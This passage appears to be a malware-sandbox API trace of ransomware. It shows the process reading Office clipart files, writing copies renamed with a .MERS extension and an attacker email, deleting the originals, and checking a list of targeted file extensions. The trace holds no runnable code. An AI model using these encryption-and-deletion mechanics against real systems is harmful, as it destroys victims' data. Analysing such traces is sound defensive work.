lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0271.236] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0271.236] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.236] SetEndOfFile (hFile=0x410) returned 1 [0271.237] CloseHandle (hObject=0x410) returned 1 [0271.237] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.237] SetEndOfFile (hFile=0x3c8) returned 1 [0271.239] CloseHandle (hObject=0x3c8) returned 1 [0271.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0271.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.240] lstrlenW (lpString=".doc") returned 4 [0271.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.240] lstrlenW (lpString=".docx") returned 5 [0271.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.240] lstrlenW (lpString=".pdf") returned 4 [0271.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.240] lstrlenW (lpString=".xls") returned 4 [0271.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.240] lstrlenW (lpString=".xlsx") returned 5 [0271.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.240] lstrlenW (lpString=".ppt") returned 4 [0271.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.240] lstrlenW (lpString=".zip") returned 4 [0271.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.240] lstrlenW (lpString=".rar") returned 4 [0271.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.240] lstrlenW (lpString=".bz2") returned 4 [0271.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.240] lstrlenW (lpString=".7z") returned 3 [0271.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.240] lstrlenW (lpString=".dbf") returned 4 [0271.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.241] lstrlenW (lpString=".1cd") returned 4 [0271.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.241] lstrlenW (lpString=".jpg") returned 4 [0271.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.241] lstrlenW (lpString=".doc") returned 4 [0271.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString=".docx") returned 5 [0271.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.241] lstrlenW (lpString=".pdf") returned 4 [0271.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString=".xls") returned 4 [0271.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.241] lstrlenW (lpString=".xlsx") returned 5 [0271.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.241] lstrlenW (lpString=".ppt") returned 4 [0271.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.241] lstrlenW (lpString=".zip") returned 4 [0271.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.241] lstrlenW (lpString=".rar") returned 4 [0271.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString=".bz2") returned 4 [0271.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString=".7z") returned 3 [0271.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.241] lstrlenW (lpString=".dbf") returned 4 [0271.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.241] lstrlenW (lpString=".1cd") returned 4 [0271.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0271.242] lstrlenW (lpString=".jpg") returned 4 [0271.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.242] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.242] lstrlenW (lpString="BD19827_.WMF") returned 12 [0271.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.242] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=9710) returned 1 [0271.242] CloseHandle (hObject=0x3c8) returned 1 [0271.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0271.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.242] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.242] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0271.243] GetLastError () returned 0x0 [0271.243] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x25ee, lpOverlapped=0x0) returned 1 [0271.339] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0271.340] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0271.340] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.340] SetEndOfFile (hFile=0x410) returned 1 [0271.340] CloseHandle (hObject=0x410) returned 1 [0271.340] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.340] SetEndOfFile (hFile=0x3c8) returned 1 [0271.344] CloseHandle (hObject=0x3c8) returned 1 [0271.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0271.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.450] lstrlenW (lpString=".doc") returned 4 [0271.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.450] lstrlenW (lpString=".docx") returned 5 [0271.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.450] lstrlenW (lpString=".pdf") returned 4 [0271.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.450] lstrlenW (lpString=".xls") returned 4 [0271.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.450] lstrlenW (lpString=".xlsx") returned 5 [0271.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.450] lstrlenW (lpString=".ppt") returned 4 [0271.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.450] lstrlenW (lpString=".zip") returned 4 [0271.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.450] lstrlenW (lpString=".rar") returned 4 [0271.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.450] lstrlenW (lpString=".bz2") returned 4 [0271.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.450] lstrlenW (lpString=".7z") returned 3 [0271.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.451] lstrlenW (lpString=".dbf") returned 4 [0271.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.451] lstrlenW (lpString=".1cd") returned 4 [0271.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.451] lstrlenW (lpString=".jpg") returned 4 [0271.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.451] lstrlenW (lpString=".doc") returned 4 [0271.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.451] lstrlenW (lpString=".docx") returned 5 [0271.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.451] lstrlenW (lpString=".pdf") returned 4 [0271.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.451] lstrlenW (lpString=".xls") returned 4 [0271.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.451] lstrlenW (lpString=".xlsx") returned 5 [0271.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.451] lstrlenW (lpString=".ppt") returned 4 [0271.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.451] lstrlenW (lpString=".zip") returned 4 [0271.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.451] lstrlenW (lpString=".rar") returned 4 [0271.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.451] lstrlenW (lpString=".bz2") returned 4 [0271.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.451] lstrlenW (lpString=".7z") returned 3 [0271.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.451] lstrlenW (lpString=".dbf") returned 4 [0271.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.452] lstrlenW (lpString=".1cd") returned 4 [0271.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0271.452] lstrlenW (lpString=".jpg") returned 4 [0271.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.501] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.501] lstrlenW (lpString="BD20013_.WMF") returned 12 [0271.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0271.501] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=11058) returned 1 [0271.501] CloseHandle (hObject=0x360) returned 1 [0271.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0271.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0271.502] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.502] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0271.502] GetLastError () returned 0x0 [0271.502] ReadFile (in: hFile=0x360, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x2b32, lpOverlapped=0x0) returned 1 [0271.562] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0271.563] ReadFile (in: hFile=0x360, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0271.563] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.563] SetEndOfFile (hFile=0x3d0) returned 1 [0271.563] CloseHandle (hObject=0x3d0) returned 1 [0271.563] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.563] SetEndOfFile (hFile=0x360) returned 1 [0271.565] CloseHandle (hObject=0x360) returned 1 [0271.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0271.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.566] lstrlenW (lpString=".doc") returned 4 [0271.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.566] lstrlenW (lpString=".docx") returned 5 [0271.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.566] lstrlenW (lpString=".pdf") returned 4 [0271.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.566] lstrlenW (lpString=".xls") returned 4 [0271.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.566] lstrlenW (lpString=".xlsx") returned 5 [0271.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.566] lstrlenW (lpString=".ppt") returned 4 [0271.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.566] lstrlenW (lpString=".zip") returned 4 [0271.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.566] lstrlenW (lpString=".rar") returned 4 [0271.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.566] lstrlenW (lpString=".bz2") returned 4 [0271.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.566] lstrlenW (lpString=".7z") returned 3 [0271.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.566] lstrlenW (lpString=".dbf") returned 4 [0271.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.566] lstrlenW (lpString=".1cd") returned 4 [0271.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.566] lstrlenW (lpString=".jpg") returned 4 [0271.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.566] lstrlenW (lpString=".doc") returned 4 [0271.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString=".docx") returned 5 [0271.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.567] lstrlenW (lpString=".pdf") returned 4 [0271.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString=".xls") returned 4 [0271.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.567] lstrlenW (lpString=".xlsx") returned 5 [0271.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.567] lstrlenW (lpString=".ppt") returned 4 [0271.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.567] lstrlenW (lpString=".zip") returned 4 [0271.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.567] lstrlenW (lpString=".rar") returned 4 [0271.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString=".bz2") returned 4 [0271.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString=".7z") returned 3 [0271.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.567] lstrlenW (lpString=".dbf") returned 4 [0271.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.567] lstrlenW (lpString=".1cd") returned 4 [0271.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0271.567] lstrlenW (lpString=".jpg") returned 4 [0271.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.567] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.568] lstrlenW (lpString="BL00098_.WMF") returned 12 [0271.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0271.568] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=1012) returned 1 [0271.568] CloseHandle (hObject=0x360) returned 1 [0271.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0271.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0271.568] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.568] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0271.568] GetLastError () returned 0x0 [0271.569] ReadFile (in: hFile=0x360, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x3f4, lpOverlapped=0x0) returned 1 [0271.571] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x400, lpOverlapped=0x0) returned 1 [0271.572] ReadFile (in: hFile=0x360, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0271.572] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.572] SetEndOfFile (hFile=0x3d0) returned 1 [0271.572] CloseHandle (hObject=0x3d0) returned 1 [0271.572] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, 